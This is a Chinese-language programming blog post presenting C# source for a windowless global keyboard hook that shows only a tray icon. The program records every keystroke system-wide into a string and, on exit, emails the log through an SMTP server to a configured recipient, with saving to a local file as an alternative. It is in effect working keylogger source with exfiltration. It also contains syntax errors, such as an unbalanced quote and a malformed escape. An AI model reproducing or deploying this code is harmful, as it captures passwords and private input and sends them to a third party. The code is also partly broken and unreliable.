1. 程式人生 > >c# 全域性鍵盤鉤子(無窗體)

c# 全域性鍵盤鉤子(無窗體)

using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net.Mail;

namespace noformtest
{
    static class Program
    {
        /// <summary>
        /// 應用程式的主入口點。
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            System.Resources.ResourceManager resources = new System.Resources.ResourceManager("noformtest.Properties.Resources", System.Reflection.Assembly.GetExecutingAssembly());
           
            MyHook myhook1 = new MyHook();
             myhook1.HookStart();
            NotifyIcon ni = new NotifyIcon();
            ContextMenuStrip cs = new System.Windows.Forms.ContextMenuStrip();
            ni.Icon = ((System.Drawing.Icon)(resources.GetObject("_1")));
            ni.BalloonTipIcon = System.Windows.Forms.ToolTipIcon.Warning;
            ni.BalloonTipText = "小鉤子";
            ni.BalloonTipTitle = "嘎嘎";
            ni.Visible = true;
            ni.Text = "鍵盤鉤子";

            ni.ContextMenuStrip = cs;
            ToolStripMenuItem ExitToolStripMenuItem= new ToolStripMenuItem();
            cs.Items.AddRange(
            new System.Windows.Forms.ToolStripItem[] {
            ExitToolStripMenuItem }
            );
            cs.Name = "cs";
            cs.Size = new System.Drawing.Size(95, 48);
           
            ExitToolStripMenuItem.Name = "ExitToolStripMenuItem";
            ExitToolStripMenuItem.Size = new System.Drawing.Size(94, 22);
            ExitToolStripMenuItem.Text = "退出";
            ExitToolStripMenuItem.Click += delegate(object sender, EventArgs e)
            {
                ni.Visible = false;
                //myhook1.saveTofile();//儲存到本地檔案

//傳送到指定郵箱(stmp)
                EMail email = new EMail("發件人地址", 收件人地址","STMP郵件伺服器地址", "使用者名稱", "密碼", myhook1.strall);
                email.sendmail();


                myhook1.HookStop();
                Application.Exit();

            };
          
            ni.MouseClick += delegate(object sender, MouseEventArgs e)
            {
               if( e.Button== MouseButtons.Left)
                ni.ShowBalloonTip(5);
            };
           

            Application.Run();
        }

        public partial class MyHook {
            ProcessModule curModule;
           //宣告委託
            public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
            public string strall;
            HookProc KeyboardHookProcedure;
            static int hKeyboardHook = 0;
            const int WM_KEYDOWN = 0x0100;
            const int WM_SYSKEYDOWN = 0x0104;
            //定義變數
            internal enum HookType   //列舉,鉤子的型別    
            {
                //MsgFilter   =   -1,    
                //JournalRecord   =   0,    
                //JournalPlayback   =   1,    
                Keyboard = 13,   
                //GetMessage   =   3,    
                //CallWndProc   =   4,    
                //CBT   =   5,    
                //SysMsgFilter   =   6,    
                //Mouse   =   7,    
                //Hardware   =   8,    
                //Debug   =   9,    
                //Shell   =   10,    
                //ForegroundIdle   =   11,    
                //CallWndProcRet   =   12,    
                //KeyboardLL   =   13,    
                //MouseLL   =   14,    
            };
            //鍵盤結構
            public struct KeyMSG
            {
                public int vkCode; //鍵值
                public int scanCode;
                public int flags;
                public int time;
                public int dwExtraInfo;
            }

            // 安裝鉤子 (using System.Runtime.InteropServices;)
            [DllImport("user32.dll", EntryPoint = "SetWindowsHookExA")]
            public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);

            // 解除安裝鉤子
            [DllImport("user32.dll")]
            public static extern bool UnhookWindowsHookEx(int idHook);

            // 繼續下一個鉤子
            [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
            public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            public static extern int GetKeyNameText(Int32 wParam);
            // 取得當前執行緒編號(執行緒鉤子需要用到)
            [DllImport("kernel32.dll")]
            static extern IntPtr GetModuleHandle(string name);
            // 安裝鉤子
            public void HookStart()
            {
                if (hKeyboardHook == 0)
                {
                    // 建立HookProc例項
                    KeyboardHookProcedure = new HookProc(KeyboardHookProc);
                    // 設定執行緒鉤子

                    using (Process curProcess = Process.GetCurrentProcess())
                        curModule = curProcess.MainModule;
                    hKeyboardHook = SetWindowsHookEx(13, KeyboardHookProcedure, Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0]), 0);
                    hKeyboardHook = SetWindowsHookEx((int)HookType.Keyboard, KeyboardHookProcedure, GetModuleHandle(curModule.ModuleName), 0);

                    //************************************
                    //鍵盤執行緒鉤子
                    //SetWindowsHookEx( 13,KeyboardHookProcedure, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()為要監視的執行緒ID,你完全可以自己寫個方法獲取QQ的執行緒哦
                    //鍵盤全域性鉤子,需要引用空間(using System.Reflection;)
                    //SetWindowsHookEx( 13,KeyboardHookProcedure,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0);
                    //
                    //關於SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函式將鉤子加入到鉤子連結串列中,說明一下四個引數:
                    //idHook 鉤子型別,即確定鉤子監聽何種訊息,上面的程式碼中設為2,即監聽鍵盤訊息並且是執行緒鉤子,如果是全域性鉤子監聽鍵盤訊息應設為13,
                    //執行緒鉤子監聽滑鼠訊息設為7,全域性鉤子監聽滑鼠訊息設為14。
                    //
                    //lpfn 鉤子子程的地址指標。如果dwThreadId引數為0 或是一個由別的程序建立的執行緒的標識,lpfn必須指向DLL中的鉤子子程。 除此以外,lpfn可
                    //以指向當前程序的一段鉤子子程程式碼。鉤子函式的入口地址,當鉤子鉤到任何訊息後便呼叫這個函式。
                    //
                    //hInstance應用程式例項的控制代碼。標識包含lpfn所指的子程的DLL。如果threadId 標識當前程序建立的一個執行緒,而且子程程式碼位於當前
                    //程序,hInstance必須為NULL。可以很簡單的設定其為本應用程式的例項控制代碼。
                    //
                    //threadedId 與安裝的鉤子子程相關聯的執行緒的識別符號。如果為0,鉤子子程與所有的執行緒關聯,即為全域性鉤子。
                    //************************************

                    // 如果設定鉤子失敗
                    if (hKeyboardHook == 0)
                    {
                        HookStop();
                        throw new Exception("SetWindowsHookEx failed.");
                    }
                }
            }
            // 解除安裝鉤子
            public void HookStop()
            {
                bool retKeyboard = true;
                if (hKeyboardHook != 0)
                {
                    retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
                    hKeyboardHook = 0;
                }
                if (!(retKeyboard))
                    throw new Exception("UnhookWindowsHookEx failed.");
            }

            //鉤子子程:就是鉤子所要做的事情
            private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
            {

                if (nCode >= 0 && (wParam == (Int32)WM_KEYDOWN || wParam == (Int32)WM_SYSKEYDOWN))
                {
                    KeyMSG m = (KeyMSG)Marshal.PtrToStructure(lParam, typeof(KeyMSG));//鍵盤
                    strall += this.MyGetKeyNameText(m.vkCode);
                    return 0;//如果返回1,則結束訊息,這個訊息到此為止,不再傳遞。如果返回0或呼叫CallNextHookEx函式則訊息出了這個鉤子繼續往下傳遞,也就是傳給訊息真正的接受者
                }
                return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
            }

//虛鍵碼錶
            string MyGetKeyNameText(Int32 wParam)
            {
                string str = null;
                switch (wParam)
                {
                    case 0x8:
                        str = "(BACKSPACE)";
                        break;
                    case 0x9:
                        str = "(TAB)";
                        break;
                    case 0xC:
                        str = "(CLEAR)";
                        break;
                    case 0xD:
                        str = "(ENTER)";
                        break;
                    case 160:
                        str = "(SHIFT)";
                        break;
                    case 161:
                        str = "(SHIFT)";
                        break;
                    case 162:
                        str = "(CTRL)";
                        break;
                    case 163:
                        str = "(CTRL)";
                        break;
                    case 0x12:
                        str = "(MENU)";
                        break;
                    case 0x13:
                        str = "(PAUSE)";
                        break;
                    case 0x14:
                        str = "(CAPSLOCK)";
                        break;
                    case 0x1B:
                        str = "(ESC)";
                        break;
                    case 0x20:
                        str = "(SPACEBAR)";
                        break;
                    case 0x21:
                        str = "(PAGE)";
                        break;
                    case 0x22:
                        str = "(PAGEDOWN)";
                        break;
                    case 0x23:
                        str = "(END)";
                        break;
                    case 0x24:
                        str = "(HOME)";
                        break;
                    case 0x25:
                        str = "(LEFTARROW)";
                        break;
                    case 0x26:
                        str = "(UPARROW)";
                        break;
                    case 0x27:
                        str = "(RIGHTARROW)";
                        break;
                    case 0x28:
                        str = "(DOWNARROW)";
                        break;
                    case 0x29:
                        str = "(Select)";
                        break;
                    case 0x2A:
                        str = "(PRINTSCREEN)";
                        break;
                    case 0x2B:
                        str = "(EXECUTE)";
                        break;
                    case 0x2C:
                        str = "(SNAPSHOT)";
                        break;
                    case 0x2D:
                        str = "(Insert)";
                        break;
                    case 0x2E:
                        str = "(Delete)";
                        break;
                    case 0x2F:
                        str = "(HELP)";
                        break;
                    case 0x90:
                        str = "(NUMLOCK)";
                        break;
                    case 0x60:
                        str = "0"; break;
                    case 0x61:
                        str = "1"; break;
                    case 0x62:
                        str = "2"; break;
                    case 0x63:
                        str = "3"; break;
                    case 0x64:
                        str = "4"; break;
                    case 0x65:
                        str = "5"; break;
                    case 0x66:
                        str = "6"; break;
                    case 0x67:
                        str = "7"; break;
                    case 0x68:
                        str = "8"; break;
                    case 0x69:
                        str = "9"; break;
                    case 0x6A:
                        str = "(*)"; break;
                    case 0x6B:
                        str = "(+)"; break;
                    case 0x6C:
                        str = "(ENTER)"; break;
                    case 0x6D:
                        str = "(–)"; break;
                    case 0x6E:
                        str = "(.)"; break;
                    case 0x6F:
                        str = "(/)"; break;
                    case 0x70:
                        str = "(F1)";
                        break;
                    case 0x71:
                        str = "(F2)";
                        break;
                    case 0x72:
                        str = "(F3)";
                        break;
                    case 0x73:
                        str = "(F4)";
                        break;
                    case 0x74:
                        str = "(F5)";
                        break;
                    case 0x75:
                        str = "(F6)";
                        break;
                    case 0x76:
                        str = "(F7)";
                        break;
                    case 0x77:
                        str = "(F8)";
                        break;
                    case 0x78:
                        str = "(F9)";
                        break;
                    case 0x79:
                        str = "(F10)";
                        break;
                    case 0x7A:
                        str = "(F11)";
                        break;
                    case 0x7B:
                        str = "(F12)";
                        break;
                    case 186:
                        str = ";:";
                        break;
                    case 187:
                        str = "= +";
                        break;
                    case 188:
                        str = "(<,)";
                        break;
                        str = "(;:)";
                        break;
                    case 189:
                        str = "(-_)";
                        break;
                    case 190:
                        str = "(>.)";
                        break;
                    case 191:
                        str = "(/?)";
                        break;
                    case 192:
                        str = "(`~)";
                        break;
                    case 219:
                        str = "([{)";
                        break;
                    case 220:
                        str = "(//|)";
                        break;
                    case 221:
                        str = "(]})";
                        break;
                    case 222:
                        str = "('/")";
                        break;
                    default:
                        str = Chr(wParam);
                        break;
                }

                return str;
            }
            public static string Chr(int asciiCode)
            {

                if (asciiCode >= 65 && asciiCode <= 90)
                {
                    asciiCode = asciiCode + 32;
                }
                System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
                byte[] byteArray = new byte[] { (byte)asciiCode };
                string strCharacter = asciiEncoding.GetString(byteArray);
                return (strCharacter);
            }
            public void saveTofile()
            {
                System.IO.StreamWriter rw = System.IO.File.CreateText("myText.txt");
                rw.WriteLine(strall);
                rw.Flush();
                rw.Close();
            }
       
        }

        public class EMail{
            public EMail(string mailfrom,string mailto,string serverAD,string username,string pw,string str ) {
                this.mailfrom = new MailAddress(mailfrom);
                this.mailto = new MailAddress(mailto) ;
                this.serverAD = serverAD;
                this.username = username;
                this.pw = pw;
                this.str = str;
            }
            private MailAddress mailfrom;
            private string username;
            private string pw;
            private string serverAD;
            private MailAddress mailto;
            private string str;
            public void sendmail() {
                MailMessage message = new MailMessage(mailfrom, mailto);
                message.Subject = "keyHook";
                message.Body = str;
                message.BodyEncoding = System.Text.Encoding.Default;
                SmtpClient client = new SmtpClient(serverAD);

                client.DeliveryMethod = SmtpDeliveryMethod.Network;

                client.UseDefaultCredentials = false;

                client.EnableSsl = false;

                //身份認證
                client.Credentials = new System.Net.NetworkCredential(username, pw);

               

                try
                {

                    client.Send(message);

                }

                catch (SmtpException ex)
                {

                    MessageBox.Show(ex.Message);

               

                }

                catch (Exception ex2)
                {

                    MessageBox.Show(ex2.Message);

                

                }

 

 

 

            }
           

    }
       
       
       
       
       
       
    }
}